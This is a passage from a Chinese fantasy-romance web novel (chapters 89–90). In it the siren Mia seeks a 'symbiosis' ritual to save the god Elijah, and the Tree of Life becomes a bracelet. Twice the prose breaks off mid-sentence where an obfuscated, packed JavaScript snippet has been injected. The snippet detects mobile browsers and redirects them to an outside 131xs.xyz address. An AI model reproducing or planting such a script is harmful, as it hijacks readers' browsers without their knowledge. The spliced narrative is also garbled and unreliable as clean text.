她忍不住靠近了些,结果刚靠近,就看到塞奇发难。 以利亚为什么不躲? 塞奇不是他的对手,他想躲的话轻而易举。 来不及多想,等米娅回过神来时,身体已先于理智做出了决定。 现在想来,他已经发现自己在偷听了,就是故意诈自己出来。 “米娅!” 剑锋来不及收势,削去了一缕飘扬的长发,落到地面,瞬间被冰层包裹吞没。 塞奇理智回笼,惊觉自己差一点儿伤害到了米娅,后怕不已,可是一看到他们紧贴在一起的样子,理智又隐隐有耗尽的趋势。 “离开他!”塞奇又叫道。 “你闭嘴。”米娅转头瞪了他一眼。 “……” 他还有些自知之明,知道现在自己说什么在米娅看来都是挑拨,只会适得其反,干脆也不说话了。 米娅又看向以利亚,“什么时候发现的?” 以利亚轻声叹息,向塞奇的方向一瞥,“他失去理智的时候。” 米娅不满这个回答,“我看他全程都没什么理智可言。” 以利亚轻抚手臂上的痕迹,笑道:“你这一招很有效,我刚开始也没意识到。” 谁能想到呢,昨晚她哭的梨花带雨,睡觉都不安心要抱着他,看似是不想离开他,其实是为了方便跟踪他。 骗人,她一向很有一套。 很久之前他就有所领略,还是又栽了一次。 米娅沉了脸,“我昨晚说的都是真的。” “我知道。”以利亚俯身吻她。 湿热的气息落到额头,米娅神情软化下来,就算是发脾气,她也没法维持太久呢,谁让她面对的是他。 更何况,这次是她先算计他的。 “我就想见他一面。”米娅后知后觉自己也该解释。 以利亚嗯了一声,没说好,也没说不好。 米娅拿不准他是什么意思,但机会就在眼前,她自然也不能放过,从他的怀抱中挣扎出来,见他没阻止,便走到塞奇面前。 塞奇神情阴沉。 看到刚才两人旁若无人的亲密举动,他心情好得起来才怪。 “你想问我什么?”他主动说。 米娅犹豫了片刻,“我听说,你是忒菲的一半灵魂,另一半灵魂本来是地心的基石,但是后来不见了,是你拿走了吗?” 塞奇道:“谁告诉你的?” 米娅反问:“这重要吗?” 塞奇瞥了一眼她身后的那人,“当然重要,要是他说的,我只能说,我什么也不会说的。” 米娅摇了摇头,“不是他。” 塞奇冷笑,“不是他?那他一直瞒着你啰,连真话都不愿意告诉你,你还跟他在一起干吗?” 他还真是死性不改,没说两句又要挑拨他们的关系,米娅深吸一口气,忍耐了下来,她对着他笑,“我不在乎,我只想知道你的答案。” 塞奇竟看得呆住了。 米娅惊讶地摸了摸自己的脸,不就是笑了一下吗。 正想着,塞奇突然说:“你、谁教你这么笑得?” 米娅只觉得莫名其妙,“没人教我,我想怎么笑就怎么笑。” “是我。”塞奇的态度忽然就软化了,他看着她,又像在透过她看另一个人,神情竟有几分柔和,“是我带走了……基石。” “它现在在哪儿?”米娅赶紧追问。 塞奇听懂了她的目的,“你想用原来的基石代替他的心脏?已经不可能了,先不说你找不到原来的基石,他的心脏已经与地心融合,再分离需要时间,他那副人类的身体等不了那么久。” 米娅手一抖。 她回头看以利亚,男人银色的长发随风飘舞,仿佛与这漫山遍野的银色冰层融为一体。 又一条路断绝了。 刚刚燃起的希望,难道这么快就要化作绝望了吗? 不,她一定漏掉了什么。 还有什么,好好想想。 米娅闭上眼睛。 想想…… 她睁开蔚蓝色的双眼,目光如炬盯着他,“你们刚才说的共生,是什么?” 89. 共生(二) 塞奇始终不肯说他们口中的共生是什么,他说他可以告诉米娅,但不能让别人听见。 现在慕斐岛上只有三个人,这个别人指的是谁都不用猜。 但以利亚不肯让步,放塞奇和米娅单独相处,他也不放心。 局面就此僵持,米娅看看以利亚,又看看塞奇,发现自己哪个都劝不动,无可奈何,只好和以利亚暂时先回去。 塞奇留在了慕斐岛,他被锁链锁住,活动范围不过方寸之地。 他也不急,反正继续这么耗下去,要不了多久,他就能出来。 回去的路上,以利亚为米娅解释起共生。 含义就在表面上。 忒菲拥有不死的特质,创世之初,维里希斯借助奥洛掌控的生命之力,将忒菲的灵魂被分割为二,不死的特质被留在了其中一半灵魂中。 这真是一个绝佳的办法,在无法彻底杀死忒菲的前提下,最大限度削弱了它的力量。 这个故事,米娅听正义之神说过,那时她就有疑惑,碍于时间有限没问,“为什么不继续分割下去?” 如今的塞奇,绝对称不上无害。 “这不是件容易的事,维里希斯为此耗费了大量力量,沉睡了近千年才苏醒。”以利亚缓缓道,“而且,塞奇的力量已大不如忒菲,只要我们还在,不必担心他会闯出多大的祸。” 祂们还在,可是现在,维里希斯不知所踪,奥洛离开了,就连以利亚也…… 米娅的担忧以利亚怎么会看不出来,他微微一笑,“所以奥洛留下了冥界的权杖,而我,让你拿到了它。有了它,你不必害怕塞奇,他不是你的对手。” 米娅微怔,转头看他,“你承认了?你在试炼中动了手脚。” 她还记得,她和白马到试炼之地时,平时热闹的试炼之地空无一人,而他却凭空出现,那时他根本就是刚从试炼中出来吧。 事到如今,以利亚也没想隐瞒,“是,那时我已经解开了试炼,你进去应该能直接拿到权杖,只是没想到,呵……奥洛猜到我会把权杖交给你,在试炼中隐藏了一个只有你能进去的空间。” 米娅默然不语,直到此刻,她才终于明白奥洛的用意。 那不断循环的时间,既是为了提示她一些讯息,也是为了测验她的决心。 而以利亚呢? 他让她拿到权杖,这样,在创世神都不在的世界里,没有谁能再威胁到她。 祂们的目的不尽相同,米娅显然更偏向于奥洛那一边。 所以她隐瞒了试炼最后她和奥洛的残影最后一段对话。 她得偷偷去见塞奇一面。 嗯,怎么瞒过以利亚,得好好计划。 眼下,米娅假装不满,催促道:“你还没说共生到底是什么呢?” 以利亚没有立刻回答,握着她的手,周围风景变幻,眼前一闪,米娅落到一片紫色花海中。 拇指大小的小花铺满了整片草地,似乎感觉到了她的到来,花瓣在无风的时刻左右摇摆,滑过她的脚踝。 花香扑鼻,清新淡雅,是米娅最熟悉的香味。 周围尽是熟悉的场景,以利亚竟然带她回了奥修斯岛。 不远处,半枯萎的生命之树枝干萎缩变形,叶片边缘发黑蜷曲。 以利亚牵着她的手向生命之树走去。 “既然一个灵魂能被分割为两个,并且将不死之力只保留在其中一个灵魂里,那么不难想到,这两个灵魂也可以重新融合。”以利亚缓缓说道,“后来,有人根据分割灵魂的方式,反向推出重新融合灵魂的方式,并且做了一些改动。改动之后,两个灵魂不必相融,他们依然是独立的,却能共享生命,也就是所谓的,同生共死。” “同生共死?”米娅挑眉,难怪叫共生,“如果其中一方死了呢?” “另一方也会死。” “那有什么意义?” 她还以为只要一方活着,另一方就不会死呢,结果是一起死。 等等,米娅心思急转,霎时明白过来了。 “如果其中一方是塞奇,另一方死了会怎么样?” 塞奇不会死,另一方死了,按照同生共死的说法,要么塞奇也会死,要么两人都会活下来,究竟是同生,还是共死? 怎么讲都说得通,怎么讲都矛盾。 “你觉得是哪种情况?”以利亚问她。 “我觉得……”米娅对着他狡黠一笑,“我觉得你不会无缘无故提起这件事,所以是同生。” 没有合理的推断,就是直觉。 他们已经走到了生命之树旁边,半枯萎的树干不见树皮,最外面被一层黑色的粉末包裹,就像被烧焦了一样。 手放上去,粉末簌簌而下。 以利亚的手指在树干上摩挲,不一会儿,手指所在的区域黑色粉末就被擦干净了,露出里面淡紫色的木质。 米娅没注意到他的动作,心里想着另一件事,想得几乎出神。 她在心底默念,共生。 她突然想到了一种可能性。 如果以利亚能和塞奇共生,他是不是就不会死了? 米娅越想越激动,她看向以利亚,正要问他,突然发现他在做什么,连忙阻止他,“不能动,会枯死——” 来不及了。 从以利亚的指尖开始,黑色粉末逐渐消失,淡紫色的树干暴露在空气中,瞬间变色,毫无生机的灰败之气将生命之树萦绕,枝叶以肉眼可见的速度干枯变形。 没空责怪他,米娅祭出权杖,手还没动,以利亚就抓住了她的右手,手掌覆盖到她的手背上,指节用力,一点一点下压。 米娅看着他,慢慢收回权杖。 她选择相信他。 生命之树在他们面前彻底枯萎。 枝叶随风化为无形,只留下光秃秃的树干,树干也越缩越小,到最后,竟成了一颗只有手掌长的小树苗。 树苗枝干娇嫩,绿意盎然,根系向上挣扎,破土而出,朝着米娅飞来。 米娅下意识捧起它,树苗化作一尾紫色小鱼,在她指尖跳跃游动,后又沿着手背向上游,亲吻她纤细的手腕。 小鱼鳞片光滑冰凉,却莫名让人感到亲近,米娅好奇地看着,只见小鱼绕着她的手腕游了一圈,忽然化作一条紫色手链缠绕在她手腕上。 “这是?”米娅一怔,想取下来,却发现手链没有可以解开的地方。 “你知道海妖的来源,应该猜得到这是什么。” 米娅确实知道。 这是奥洛的神器之一,曾孕育出海妖一族。 生与死,代表了生的一面。 她只是难以置信,在她已经拥有了冥界的权杖之后,他为什么还要让她拿到这一件神器。 “半枯萎状态的它没有任何用处,强行维持这个状态,只会消耗你的力量。”以利亚淡淡地解释道。 这些道理米娅都明白,她考虑的是,生命之树一直是海妖一族的精神支柱,她需要一些过渡时间,让其他海妖适应生命之树将消失的结局。 但她也知道,以利亚不在意这些。 米娅仰头看他。 那双红色的眼眸妖异诡谲,根本不像神明,倒像是诱人下地狱的恶魔,但她知道,地狱和恶魔是人类想象出来的东西,这个世界只有荒芜阴冷的冥界。 他也并非人类想象中的神明,人类的信仰于他无益,他只是创造了这方天地,然后由其发展。 但他还是选择了牺牲自己维持大地的稳定。 很难说他当时在想什么,但米娅可以肯定,其中很大一部分是为了她。 米娅突然知道试炼中残影给她留下的最后一个问题的答案了。 关于她是谁。 *** 迪伦忙得焦头烂额。 米娅不在,尤妮也不在,奥修斯岛的事务全落在了他身上。 偏偏最近随着奥修斯岛和人类的接触越来越多,海妖们的心思也活跃了起来,时不时就闹出些事情来。 他刚在海岸边处理完两只海妖因为争论该不该和人类做交易而引发的矛盾,又听说有一艘人类的船只航行到了奥修斯岛附近,赶紧过去查看。 一番不太友好的交谈之后,听说对方只是路过好奇来看一眼,他黑着脸让对方赶紧离开。 迪伦飞在半空中,盯着最近的海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327658|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸线看了一会儿,心想,是时候修个码头了。 突然,直觉让他抬头向岛屿中央看去。 树林,原野,湖泊,河流,花海。 原本藏在生命之树下的风景,如今一览无余。 一开始不习惯,后来看得多了,也就习惯了。 怪了。 迪伦多看了几眼,挠挠头,他怎么又不习惯了。 不对,他瞳孔一缩,发现了奇怪之处。 树呢? 虽然生命之树缩小了很多,但也不至于一点儿也看不见啊。 生命之树不见了。 意识到这一点时,他向岛屿中央,曾经生命之树的树干所在地飞去。 许多海妖与他一同飞翔,她们都发现了生命之树的异常,脸上的神情既担忧又茫然,生命之树曾经陪伴她们度过每一个白天和黑夜,她们甚至还幻想着生命之树能再次焕发生机。 “迪伦,这是怎么回事?”有人询问他。 “米娅呢,是不是要把她叫回来?”有人出主意。 迪伦都没有理会。 回答她们的问题都是后续的工作,现在当务之急是弄清楚到底发生了什么。 到达岛屿中央时,闻讯赶来的海妖围成一个圈,都伸长了脖子向里面看。 她们安静得可怕。 迪伦费尽九牛二虎之力挤进去,一眼望见原本生命之树根系所在的地方地面下陷,形成一个巨大的坑洞,底部和洞壁上都是湿润的新土,夹杂着草木。 第二眼,他看见了坑洞旁站着的两个人。 一个他很熟悉。 多少年的朋友了,他还追求过她几年,能不熟悉吗? 至于另一个—— 只看到那一张无可挑剔的脸和那一头闪着光辉的银发,他想猜不到那人是谁都难。 以利亚,以前是海妖一族最大的敌人,现在么…… “行了,都散了吧。”迪伦向围观的海妖喊道。 生命之树已死是海妖间的共识,大部分海妖都知道要不是米娅,生命之树两个多月前就该消失了,所以她们看到米娅也在,先前的担忧消失了,更多的是对米娅身边的男人的好奇。 虽然好奇,她们却出于本能不敢吭声。 那男人神情平静,一直看着米娅,根本没将她们放在眼里,却无端地让她们感到害怕。 迪伦一出声,围观的海妖一哄而散,少数几个胆子大点儿的,也被迪伦以各种理由劝走。 做完这些事,迪伦悬着的心终于放了下来。 幸好没有海妖猜出男人的身份。 以利亚和米娅的往事只有他和尤妮知道,三两句解释不清楚,现在海妖们还觉得以利亚是不死不休的敌人呢。 他倒不担心米娅和那个男人。 他担心的是海妖们,她们对那男人造不成伤害,相反那男人一个指头就能摁死她们。 不过新的问题又出现了。 他该不该过去? 说实话,知道那男人的真实身份之后,他也有些怕他。 好在米娅很善解人意,在男人耳边说了什么,单独向他走了过来。 “你怎么回来了,尤妮不是说你……额,不回来了吗?”迪伦赶紧问她,当然他最想问的是,你怎么把那个男人也带回来了,是真嫌岛上还不够乱啊。 米娅很无奈,也不是她想回来的,“我们很快就走。” 迪伦又觉得不好意思起来,“我没有要赶你们走的意思,实在是他的身份太特殊了。” 米娅点头表示理解,将刚才的情况简要说了一下。 听到米娅手腕上的手链就是曾经的生命之树,迪伦眼睛瞪得比铜铃还大。 不过,他最关心的还是,“奥修斯岛不会受影响吧?” “不会,生命之树早就没用了,这两个月也就起个装饰作用。”木已成舟,米娅只能这么安慰自己,也安慰迪伦,她想了想又道,“难得回来一趟,我去一趟老祭司家。” 说完,她就向老祭司家飞去,迪伦疑惑地跟过去,飞到一半,又想起以利亚还在原地,赶紧叫了个信得过的海妖去看着,别让其他海妖靠近他。 90. 共生(三) 以利亚看着头顶的天空,想起了回忆中的往事。 那时他疑惑,为何奥修斯岛的天空永远都是晴朗的。 米娅说是因为海神的庇佑,但他知道,天气不归奥洛管,奥洛也没那么好心让奥修斯岛维持晴天。 现在,他已经知道原因了,但奥修斯岛的天空也变了。 因他而起,也因他而落。 有只海妖从背后走了过来。 以利亚没有感觉到恶意,也就没有回头。 正如迪伦所想的那样,他不在意海妖们,或许他会多看一眼迪伦,但那不过是因为迪伦曾喜欢过米娅。 正想着,衣角被一只手扯动了一下,以利亚低头看去,靠近他的海妖小小的一只,头顶只到他大腿的位置。 是个小孩,连翅膀都展不开。 看起来和人类小孩三岁时差不多,但从生命之树诞生的新生海妖一出生就和人类小孩三岁时一样,所以这是只刚出生的海妖。 大概率是生命之树枯萎时出生的那几只,听说米娅想了很多办法才救下他们。 小海妖有一双黑葡萄似的大眼睛,睁得很圆,好奇地望着他,望了一会儿,突然问:“你会把我抓走吗?” 以利亚皱眉:“我抓你做什么?” 小海妖对着手指道:“她们说你会抓走海妖,尤其喜欢我这种还没长大的海妖。” 大概每个地方都有这么个存在,在小孩子哭闹的时候被大人们描绘成会吃人的妖怪,用来阻止小孩子哭闹调皮。 以利亚不觉得新奇,他不是第一次有这种待遇,本来不打算理会,但看着小海妖稚嫩的脸庞,想到米娅小时候大约也是这副样子,忽然起了逗弄她的心思。 “是真的。” 小海妖哇了一声,“那我是不是可以去人类的世界了?” 原来在她心目中,被抓走只是去了人类的世界,没有什么血腥恐怖的含义。 以利亚严肃道:“去了就再也回不来了。” “什么?”小海妖瞪大了眼睛,“那还是不要了。” 以利亚失笑,没再说话。 小海妖见他沉默,以为是自己惹他不高兴了,不知所措地挠了挠头。 “你不怕我?” 看着那可怜兮兮的表情,以利亚心里一软,想着米娅估计还有会儿才回来,倒是可以和这只小海妖多说几句话。 小海妖点了点头,用糯糯的声音说:“害怕。” “害怕还敢过来?” 以利亚余光一瞥,不远处的树林里不知有多少只海妖,接着茂盛的枝叶遮蔽身形,悄悄盯着他,眼睛里满是连她们自己也不知道为何会起的恐惧。 她们每一个都比这小海妖强大,却没一个敢靠近。 小海妖对了对手指,“你和米娅祭司……嗯……不能叫米娅祭司,要叫米娅姐姐……你和米娅姐姐一起过来的,米娅姐姐救了我,你肯定也不是坏人。” 小孩子的逻辑就是这么简单。 以利亚轻笑了下,“那可不一定。” 小海妖茫然地看着他,一时没反应过来。 以利亚又问她:“她们只说我会抓海妖,没说别的?” 小海妖垂眸想了好一会儿,“她们还说,你叫以……以……” 她苦恼地皱起一张脸。 “以利亚。” “没错,以利亚。”小海妖的脸舒展开来。 以利亚又笑了一声,这回却没多少笑意,神色微冷,迪伦和米娅还想瞒着她们,但这群海妖难道真的分辨不出他的身份吗? 小海妖没察觉,继续说:“她们说,你是我们敌人,我也不懂敌人是什么意思,不过她们还说米娅姐姐和你在一起,那敌人应该是朋友的意思吧。” 也只有这么小的孩子,才能说出敌人是朋友。 以利亚摸了摸她的头,“你知道在一起是什么意思吗?” 小海妖重重地点了点头,生怕他小瞧她似的,“我当然知道啦,在一起就是你们每天都一起吃饭,一起玩,一起睡觉,还会一起生好多宝宝。” “好多?” 米娅刚走近,看到有只小海妖和以利亚“相谈甚欢”的样子,已是万分惊讶。 再听小海妖说的话,不免觉得好笑。 两个月前她救下来的有三只小海妖,如今都被悉心照料着。 她想,这小海妖大约是把和伙伴一起生活当成了在一起。 米娅蹲下来,看着小海妖稚嫩的小脸,哭笑不得,“谁跟你说的,还好多宝宝,我又不是鱼,一生生一串。” 小海妖看到她,笑得像花一样,立刻掰起手指数了起来,“艾拉哥哥、海伦姐姐、凯拉姐姐、贝莉姐姐、哈里哥哥……” 十个指头都数完了,她还有一串名字没说。 米娅嘴角一抽,说不上来是惊讶更多还是无语更多。 原来她们都知道自己现在跟以利亚在一起,还在小孩子面前说些不该说的话。 小海妖心思敏感,看她脸色不太对,也不数了,“米娅姐姐你不开心吗?” “没有。”米娅对她温柔的笑,轻声问道,“她们还说了什么?” 小海妖摇了摇头,推说没有,再不肯说了。 看来不是什么好话,米娅黯然想道,但也怪不得她们,在她们看来,自己就是和敌人在一起,她们没有来怪罪自己已经是宽容大度的结果了。 将小海妖送回家后,米娅问以利亚:“我们现在回去?” 他们出来时天还没亮,耽搁了这一会儿,太阳都在海平面上冒出半张脸了。 再不回去,该被人发现了。 以利亚看着她怅然若失的表情,缓缓道:“是该回去了。” 他握着她的手,转瞬间,奥修斯岛的风景于眼前消失,映入眼帘的是一间熟悉的卧室。 阳光尚未照进来,光线有些昏暗。 墙上钟摆左摇右晃,指针慢慢转动着,发出咔哒咔哒的响声。 米娅眨了眨眼睛,这不是赫特高塔吗? 她疑惑地看向以利亚,却见他神色了然地看着她,眼中有笑意,“你不是已经见到塞奇了吗,还回绿恩岛做什么?” 米娅一怔。 还真是,她去绿恩岛就是为了想办法找到塞奇,现在这个理由已经不存在了,是没必要继续待在那儿。 问题是—— “你早就知道了?”米娅心虚地吐了吐舌头,又小声地嘟囔道,“我表现得很明显吗?” “不明显。”以利亚很耐心地解释,仿佛在安慰她,“但也不难猜,除了这个理由,你没理由留在绿恩岛。” 她在试炼中去过无数次绿恩岛,每次停留的时间都不长。 她不喜欢那个地方。 米娅笑了笑,想在他面前隐藏秘密可太难了,不过好在,反过来也一样,他想保守的秘密,她也猜得到。 米娅靠近他,“那你猜猜,我现在在想什么?” 以利亚一点儿犹豫都没有,“你在想,既然可以共生,我是不是可以不死。” 米娅刚要点头,以利亚无情地否定了她的想法,“别想了,不可能。” 米娅不服,“为什么?” 以利亚面无表情,冷静地说:“其一,方法只有塞奇知道,他不会说,其二,即使他愿意说,他也不会配合,他大概——” 以利亚顿了一下,“这世上大概没人比他更希望我死的了。” 米娅试探道:“是因为我吗?” 杀死忒菲的是奥洛和维里希斯,将塞奇封印在冥界的是奥洛,将忒菲的心脏和另一半灵魂化作太阳和基石的是维里希斯。 怎么想,祂们才该是塞奇最大的敌人。 以利亚没回应,米娅知道这就是真相。 她走上前去,柔声道:“让我去跟他谈一谈吧。” 她抱住他,“我能保护好自己。” 以利亚还是没有说话,米娅却能感觉到他的呼吸乱了一瞬。 他动摇了。 昨晚的眼泪还是起了作用。 米娅乘胜追击,“就算失败了,情况也不会更差。” “未必。”以利亚终于说话了。 米娅却想不到他会反驳这一句,心思一转,隐约觉察到问题还是出在塞奇那里,但她实在跟塞奇不熟,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334330|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时猜不准症结所在。 只好诚恳地说:“至少对我来说是。” 她只想让他活下来。 很久之后,以利亚闭上眼睛,“我考虑两天。” 他终于松口了。 米娅心中一喜,抱着他亲了一口,笑盈盈地看着他,心道,两天,足够了,有些决定一旦开始动摇,再想劝就不难了。 哒哒哒。 这时,窗户上传来敲击的声音,米娅转头看去,白马张开透明的翅膀,飞在半空中,对着他们傻笑。 “以利亚大人,米娅大人,我没打扰到你们吗?” “有事?”以利亚瞥了他一眼。 白马打了个哆嗦,赶紧说:“没事,没事,我感觉到有人在高塔中,就说来看看是不是你们,我马上走。” 说完它就从窗户前消失了。 过了没两秒,又从窗框边伸出个脑袋,“诶,不对,你们回来了,我是不是可以回冥界了?” “不行。”以利亚道。 一听到这话,白马瞬间成了霜打的茄子,“我实在不知道怎么应付那些人了,怎么人类的事务比冥界复杂这么多!” 它破罐破摔,摆出一副不想干了的架势。 米娅捂嘴偷笑,见它实在可怜,推了推以利亚,帮白马说话,“要不你去露个面?” 这岛上没人不怕他的,他都不需要说什么,只往领主府一坐,那些人各个都得夹着尾巴做人,谁还敢给白马找不自在。 米娅开口了,以利亚没拒绝。 白马偷偷递给米娅一个感激的眼神,米娅也回它一个上道的眼神。 她心里也有一些小九九。 趁着以利亚离开,她赶紧来到四楼,同样的剧情不是第一次上演,米娅已然轻车熟路。 她来到四楼房间的最深处,在书桌的抽屉里找到了羽毛笔。 “还活着吗?” 上次刚从回忆里出来奥修斯岛就出事了,她走的很匆忙,没空管羽毛笔的状态,好久不见,怎么也得假意关心一下。 “已经死得差不多了。”羽毛笔有气无力地说。 “没死就好,问你件事。” 羽毛笔愤怒了,“你这是人话吗?!” 米娅理直气壮,“我又不是人。” “你!”羽毛笔半天说不出话来,最后泄气道,“你想问什么,先说好,跟神主有关的问题我不回答。” “放心。”米娅宽慰他,“跟以利亚无关,我就想知道,怎么才能想起前世的记忆。” 羽毛笔一个激灵,“我不知道,我什么也不知道。” 反应这么大,他一定知道。 米娅决定先礼后兵,“你怎么才肯说?” 羽毛笔尖叫道:“说什么,我什么都不会说的。” 米娅伸出右手,“你看这是什么。” “冥界的权杖?”羽毛笔分辨了一会儿,语气逐渐变得惊恐,他唰地一下飞了出去,像只没头苍蝇在房间里乱窜,碰倒了几个花瓶,最后被突然出现的人抓在手里。 来人随手将他抛起,他划下一道优美的弧线,消失在半空中。 “怎么这么快就回来了?”米娅讪笑道。 “他胆子小,别吓唬他,你可以直接问我。”以利亚一步一步靠近她,步伐优雅从容,手上戴着手套。 以前戴手套是为了遮住伤痕,如今伤痕没有了,在面对普通人时,他还是喜欢将手套戴上。 一瞬间,米娅还以为回到了自己刚来赫尔西岛的时候。 “我问了你就说么?”米娅撅嘴。 以利亚已经走到了她身前,米娅便往后退,没退两步,腰就抵住了桌沿。 “你不问怎么知道我不说。” “我就是知道。” 退无可退,米娅仰起妩媚的脸,神情高傲,不服输地和他呛声。 他一只手撑在她身侧,一只手放在她的肩膀上,垂眸看了她好一会儿,神情无奈,眼神却晦暗。 “怎么不说话了,被我说中了吧……唔……” 米娅得意的笑只维持了一句话的时间,以利亚勾起她的下巴吻了下来。